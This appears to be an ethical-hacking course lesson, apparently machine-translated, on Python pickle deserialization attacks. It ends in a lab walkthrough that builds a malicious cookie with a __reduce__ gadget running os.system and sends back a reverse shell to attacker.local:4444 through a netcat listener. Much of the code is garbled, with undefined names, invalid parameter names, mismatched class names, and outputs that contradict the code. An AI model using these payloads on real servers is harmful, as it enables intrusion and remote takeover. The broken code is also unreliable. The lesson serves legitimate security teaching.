What is serialization?
Serialization is used in programming to transform objects into a format that can, for example, be saved to a disk or transferred over a network.
Here is an example (serialisoi.py) that uses the Python pickle library to serialize a car.
import pickle
from base64 import b64encode, b64decode
class Car(object):
def __init__(self, character: str, model year: int):
self.character = character
self.yearmodel = Yearmodel
def __str__(self):
return f"{self.brand} VM {self.yearmodel}"
car = Car(make='Volvo', model year=1975)
print(car)
print(b64encode(pickle.dumps(auto)).decode('utf-8'))
When the script is executed, it outputs the car serialized (as base64-encoded).
python3 ./serialize.py
Volvo VM 1975
gASVPgAAAAAAAACMCF9fbWFpbl9flIwEQXV0b5STlCmBlH2UKIwGbWVya2tplIwFVm9sdm+UjAp2dW9zaW1hbGxplE23B3ViLg==
Here is another program (deserialisoi.py) that takes a (base64-encoded) serialized car as a parameter and outputs its details.
import pickle
from base64 import b64decode
import sys
class Car(object):
def __init__(self, character: str, model year: int):
self.character = character
self.yearmodel = Yearmodel
def __str__(self):
return f"{self.brand} VM {self.yearmodel}"
serialized = sys.argv[1]
auto = pickle.loads(b64decode(serialized))
print(car)
python3 deserialise.py gASVPgAAAAAAAACMCF9fbWFpbl9flIwEQXV0b5STlCmBlH2UKIwGbWVya2tplIwFVm9sdm+UjAp2dW9zaW1hbGxplE23B3ViLg==
Volvo VM 1975
This is how serialization works. From an object in memory to a format that can be saved or transferred, and back.
__reduce__
Serialization poses a danger. What if the serialized object has been modified during transit, and it is no longer just a harmless car?
The documentation of Python's pickle describes a function called during object deserialization: __reduce__.
The original purpose of the function is to help decode an object properly. But the purpose we are interested in is executing arbitrary code on the server when the application takes the "car" for decoding!
Car bomb
Let's create a third script, hax.py, which builds an object for us with the __reduce__ function defined. The return value of the function is a tuple, where the first element is a function and the second element is another tuple that contains the parameters.
So in the example below, __reduce__ returns the tuple ("print", ("PUM!",)), which means that the call to the print function with the parameter "PUM!".
import pickle
from base64 import b64encode, b64decode
import os
class Car(object):
def __init__(self, character: str, model year: int):
self.character = character
self.yearmodel = Yearmodel
def __reduce__(self):
return (print, ("PUM!",))
car = Car(make='Volvo', model year=1975)
print(b64encode(pickle.dumps(auto)).decode('utf-8'))
As a result, the application cannot decrypt the car (its value becomes None), but the application executes the attacker's code, which is print("BOOM!").
python3 hax.py
gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg==
python3 deserialise.py gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg==
BOOM!
None
os.system
The os.system function allows you to conveniently execute operating system commands.
import pickle
from base64 import b64encode, b64decode
import os
class Auto(object):
def __init__(self, character: str, model year: int):
self.character = character
self.yearmodel = Yearmodel
def __reduce__(self):
return (os.system, ("echo PUM",))
car = Car(make='Volvo', model year=1975)
print(b64encode(pickle.dumps(auto)).decode('utf-8'))
python3 hax.py
gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg==
python3 deserialize.py "gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg=="
PUMP
0
Summary
When an application tries to deserialize a serialized object that an attacker has been able to modify, it may be possible for the attacker to execute arbitrary code on the server. In the case of Python's pickle, the easiest way to carry out the attack is to serialize an object that has a __reduce__ function defined, as pickle's deserialization process calls that function. Such functions that allow code execution through deserialization are commonly referred to as "gadgets".
Exercise
Start the exercise at this point, and continue reading.
Suspicious Cookie
When the language of the application is changed, the application always sets a new cookie "userPrefs" which contains something clearly base64-encoded. Let's take the value of the cookie, decode it, and save it to the file "userprefs.data".
echo 'gANjX19tYWluX18KVXNlclByZWZlcmVuY2VzCnEAKYFxAX1xAlgEAAAAbGFuZ3EDWAIAAABlbnEEc2Iu'|base64 -d > userprefs.data
Investigating a file. Python has a built-in module for examining pickle files. So, we can try to determine whether the file has been serialized with pickle as follows:
python3 -m pickletools userprefs.data
0: \x80 PROTO 3
2: c GLOBAL '__main__ UserPreferences'
28: q BINPUT 0
30: ) EMPTY_TUPLE
31: \x81 NEWOBJ
32: q BINPUT 1
34: } EMPTY_DICT
35: q BINPUT 2
37: X BINUNICODE 'lang'
46: q BINPUT 3
48: X BINUNICODE 'en'
55: q BINPUT 4
57: s SETITEM
58: b BUILD
59: . STOP
highest protocol among opcodes = 2
Haa! Yes, it is.
Attack
Create a Python code exploit.py that constructs a serialized object whose __reduce__ function executes the desired operating system command:
import pickle
from base64 import b64encode
import os
command = '''
echo PUM
''''
class Exploit(object):
def __reduce__(self):
return (os.system, (command,))
e = Exploit()
print(b64encode(pickle.dumps(e)).decode('utf-8'))
Then you just need to run the code and send the output as a cookie to the application.
python3 exploit.py
gASVKAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwMcHJpbnQoJ1BVTScplIWUUpQu
GET / HTTP/1.1
Host: www-c0cpuypk1b.ha-target.com
Cookie: session=.eJw...; UserPrefs=gASVKAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwMcHJpbnQoJ1BVTScplIWUUpQu
Connection: close
HTTP/1.1 500 INTERNAL SERVER ERROR
Date: Thu, 09 Feb 2023 08:40:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 290
Connection: close
Vary: Cookie
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
The application crashes as expected because the UserPreferences object could not be parsed from the cookie. However, if we were to look at the application's log, we would notice that it says "PUM".
Reverse shell
Time to take control of the server.
Start a netcat listener on port 4444. Next, run the following Python code on the target server that connects to the port and hands over control to the server.
nc -lvnp 4444
listening is [any] 4444 ...
- nc = netcat
- -l = listen
- -v = verbose (tell when a connection is established)
- -n = Do not make unnecessary DNS queries
- -p = port
And what about the Python code then? Handy script snippets for situations like this can be found, for example, in the PayloadAllTheThings repository. Here is the Python code that you can use in the attack. The code works as follows:
- Open a connection to the address attacker.local (your attacker machine) on TCP port 4444.
- Open a shell (/bin/sh) and connect the shell's stdin, stdout, and stderr to a socket.
import socket,os,pty;s=socket.socket();s.connect(("attacker.local",4444));[os.dup2(s.fileno(),fd) for fd in (0,1 ,2)];pty.spawn("/bin/sh")
You can execute Python code snippets from the command line using "python -c <code>". So your code will be:
import pickle
from base64 import b64encode
import os
command = '''
python -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker.local",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
''''
class Exploit(object):
def __reduce__(self):
return (os.system, (command,))
e = Exploit()
print(b64encode(pickle.dumps(e)).decode('utf-8'))
Run the code and send as the value of the UserPrefs cookie a serialized object containing a __reduce__ function that sends a connection (reverse shell) to your listener. If all goes well, you will receive a shell on your listener from which you can read the flag.
root@whlhxbyzok-student:~# nc -lvnp 4444
listening is [any] 4444 ...
connect to [10.0.1.108] from (UNKNOWN) [10.0.1.68] 55534
cat /flag.txt
eyJhbG...
Ready to become an ethical hacker?
Start today.
As a member of Hakatemia you get unlimited access to Hakatemia modules, exercises and tools, and you get access to the Hakatemia Discord channel where you can ask for help from both instructors and other Hakatemia members.